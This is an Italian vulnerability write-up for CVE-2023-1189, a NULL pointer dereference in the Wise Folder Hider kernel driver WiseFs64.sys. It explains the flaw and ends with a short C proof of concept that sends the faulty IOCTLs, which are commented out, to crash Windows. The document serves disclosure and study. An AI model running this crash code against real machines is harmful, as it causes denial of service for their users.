
CVE-2023-1189 PoC & Exploit
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2023-1189 |
| Tipo di vulnerabilità | Improper Resource Shutdown or Release (CWE-404) |
| Software interessato | WiseCleaner Wise Folder Hider |
| Componente vulnerabile | WiseFs64.sys (Kernel Driver) |
| Versione vulnerabile | 4.4.3.202 |
| CVSS | NVD - 5.5(Medium), VulDB - 3.3(Low) |
| Data di divulgazione | 2023.03.06 |
Questa vulnerabilità consente a un attaccante, con permessi utente, di innescare una NULL Pointer Dereference a livello di kernel tramite specifici IOCTL, portando il sistema in stato BSOD. Si tratta di una vulnerabilità di Local Denial of Service.
La vulnerabilità CVE-2023-1189 si verifica nel driver kernel WiseFs64.sys creato durante l'installazione del programma Wise Folder Hider versione 4.4.3.202.
Il flusso complessivo della vulnerabilità è il seguente.

Osservando il flusso in dettaglio:

In primo luogo, nella funzione DriverEntry, il dispatcher dispatchDeviceControl viene impostato all'indice 14 della Dispatch Table.
In questo modo tutti gli IOCTL in arrivo su \\.\WiseFs vengono instradati verso dispatchDeviceControl.

Una volta entrati nella funzione dispatchDeviceControl, viene innanzitutto verificato se si tratta del dispositivo di controllo; in tal caso, si passa alla funzione handleControlDeviceIoctl.

La funzione handleControlDeviceIoctl contiene la logica che gestisce i veri codici IOCTL.
Tra i vari codici IOCTL, per 0x222400, 0x222404 e 0x222410 manca la verifica che il valore del Buffer sia NULL o meno.
Pertanto, se questi IOCTL vengono invocati con Buffer NULL, il driver accede al Buffer causando una NULL Pointer Dereference che porta a un BSOD.
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}